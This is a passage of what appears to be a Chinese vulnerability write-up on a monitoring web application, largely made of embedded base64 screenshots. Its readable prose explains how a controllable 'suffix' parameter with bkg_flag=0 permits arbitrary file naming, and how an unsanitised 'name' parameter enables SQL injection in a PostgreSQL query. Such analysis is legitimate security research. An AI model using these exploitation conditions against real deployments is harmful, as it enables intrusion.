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 truncated
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181050-55cf1d4c-c66a-1.png><img src=data:image/png;base64,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<blockquote><p>这里的<code>suffix</code>是传参可控的,所以文件名是可被控制的,剩下要满足的条件就是在基础配置<code>baseFlag</code>的时候需要是被定义的,在执行<code>checkFileSize</code>前不被终止返回。</p>
</blockquote>
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181054-586d7d8c-c66a-1.png><img src="data:image/png;base64,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 truncated
<blockquote><p>只需要传入<code>suffix</code>参数控制后缀,<code>bkg_flag=0</code>控制进入if里面即可。</p>
</blockquote>
<h1 id=toc-3>sql注入</h1>
<p>在<code>monitor_users_trend_show</code> 的处理路由中,通过<code>get_db_connection()</code>来连接<code>postgresql</code>数据库,接收<code>$name、$timescope</code>参数,通过<code>$timescope</code>参数生成<code>$data_table_name</code>和<code>$query_codiction</code>,但是<code>$name</code>是直接传入的,看<code>replace_str_symbol</code>处理,<code>replace_str_symbol</code>对<code>括号</code>进行了处理,但是似乎不影响<code>$name</code>的值,因为这里是直接拼接的。</p>
<p><a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181058-5a96aef8-c66a-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABVYAAALXCAYAAABmchvhAAEAAElEQVR4nOzdd3xVVb7//9c+6Z0kBJLQCWWQIkWQ3kGaKCCgqDji6DjFn3P1O/fOvd8pd65zde79Xq+OU2xjHUEFFAtgKGLovXcIIZT0Rnpy2v79kQBJSMg54YQU38/Hg8eDc/Y6e6+19tor+3zO2msZ8+fPN0+cOMHNBLbvRaRPPrnpmRTbzZumFRERERERERERuZ26d+9OUlJSU2dDmgk/Pz8CQ8Ia/TjeriQqyThDSWPnRERERERERERERKSFsDR1BkRERERERERERERaGgVWRURERERERERERNykwKqIiIiIiIiIiIiIm7yhYkJXEWk58trMaeosiEgDhV9Z1dRZEBERERFplRTfkttNI1ZFRERERERERERE3KTAqoiIiIiIiIiIiIibFFgVERG5Td761+H813/9V1NnQ0RERERERDxAgVURERERERERERERNymwKiIiIiIiIiIiIuImBVZFRERERERERERE3NRsAqumTzgdu8XgY5q3tJ9u8/6bB+7y8VCuREREmo4Z2JHOndrg1cC/jRZvX7yMW/u7KiIiIiIiIrXzdvcDpumFt5cTh9MzX9RM05foYQ8wbepw2md9yV/fTMXmkT2LSGNzmgY+FhOH4jYijSN4AJN/PI3Ai1vZ+NkqTuXY6/2IafoRO/Ihpo7tR7sQG4ff/RXrk25DXkVERERERL5n3AqsmmYUd//4V4zvkMvOt/7A1hSjjnTh9Lp3MRPu7EpYgDcWw6Boz2v89cszNdL5EDvh5yycGEnalnf5+9bDFBu177M+/l3GM3HKaLp3CiDgjt/wWK+9bFu7hnNXnA3anzsiB8ykb9BZ9uw4TVkD8+9p0dN+x2Njoq69Nm37+Px375HYTPIn9TMDx/LQv80n8LsXeffbtKbOzg2cph/jFw1nekwZ3y3dxfqM2ttW+x90ZZB/HpsPXqFU7a/JtaTz4ezdl5fuDeTbt/ewKb9x8tpl/Aie7pvL2385RVIT1Ee913lGPMv+msWo2Q9w71PtCXjnbxzMrOfvWpd7uW/mAEr3reKLY6lkpTRO3kVERERERL7v3Byx6sRutWG32bDdZISad//7mTm8LRfWfcSmrIrxp/a8G7/ZeXWexcxJHchY/z8s35KK2cAvtWb4eOY9Poegs/GcuDCJjnlbye00nbmPefPRnz8nzdm4X5aj7pjC8LZODu84TVmjHsl1uQc+5rNkfwBC73yAyX2aOEPSKtnsTuw2B7abxHna9+zGuAiTPQevUHr7siZ10PloWQzDSVnaXja+m4Htx88zYc4kzr+xnis3+XsZ1KEjoZxj++otnLUbQPMOoIuIiIiIiLRUbgVWDSOHA+//igMVr+pMF9YuGl9bEke37KtzhKRpetFr1Cgi8nawelvDg6oAbfrfRQeO8uXHa7HOmUDEpQTWHI6g65JB9On4OWkXG7zrFsuaeYbEzIr/R3aY1bSZkYZxmJiAeYvzDjcWi1HOzhVb2QkocCPSQC5e54btItvX76H/4nEM6baRb5PrTu9wOgAvLM1mFnUREREREZHWyaXAqtl9Ic8sGU1QZfDTLNnF8j/8g+QqwVDTtODj54MB+PlYwLDg7efPtWWkHFZs1SZijKNrdz8Kjx4m3by1oIxheIHFD38fsF7NT9Kn/OXXUDXgY5o+tB0yj6nj7yQ6xIuiyzvYeCKSeTMj2fo//8XuK5XlMw2C46YwccoouseEYbHmkHp8E5u+2UaWtTJN+DQef34m7a/VwUyefnFm5eednF7+DF8eca9cne/7Tx7sdYil/72clKt1/YPFPPdIZ/b++QW2VT5qbXadz89/1I+TK+MJHDmLnlE+lOUmcSz+Y7aduXJLQeqb6TDj9zw88BRffVbGnTNHEBvioCjlEFtXreRUjqNa2qDukxk/aRRdY8LwtReQfW4XW75Zx4WC623AnXLUtz/TvINZv30a351f4z90GpE5G/lqkw8TFowlNG83qz9YzvkS9+rF4u2Ll6W2z5g4beU4Ktutq+ncZi3F6gRLeckNm5xmBA8+eyd++xMJvLM7UXnJLNthYeaszrTJT2H5yrOcLjMq05qEdenMrDEd6d7WD5/yMtKSL/NNwiUull3P29VHoldscDBsfAdiAxzkp6azbl0ixwqqHLtTL367sCPBV9toaQrv/fkkZ6qcL2dYF37xZByx197rwT//c4+K9KaTo19vYtlp9/Ln7NiDXz8YxdE1SQTe1YM7Ir0ovXKFAwmnWH++HNxs992njOLJ7hm88cZZLlR+1hnXhxfmhLL9vV2sz7maP+jQvzezh0UR08YHX9NOfmYOO787zZbU6+3eaUJol87cO6YDPdv542Ut5fKZZL5OSCPd5n45XD2uK9w6H27kz5XyutyuTAuxA3py/93tiAmG/IsXWXW2IujYEO7WX5vePXn6pvmrv5369B/A78eU885fT3HWiOKRfxpAl6P7eWljPs4uvfj3ObX8yb3JdV6T/ewRLpQPp2vPDpB8uc501rIyTMLxC+D6H0URERERERHxONdGrKZvYc1HJ/EC2gxawMTutaTxG8m83y6k67Uv7jHc97tB1zbfMM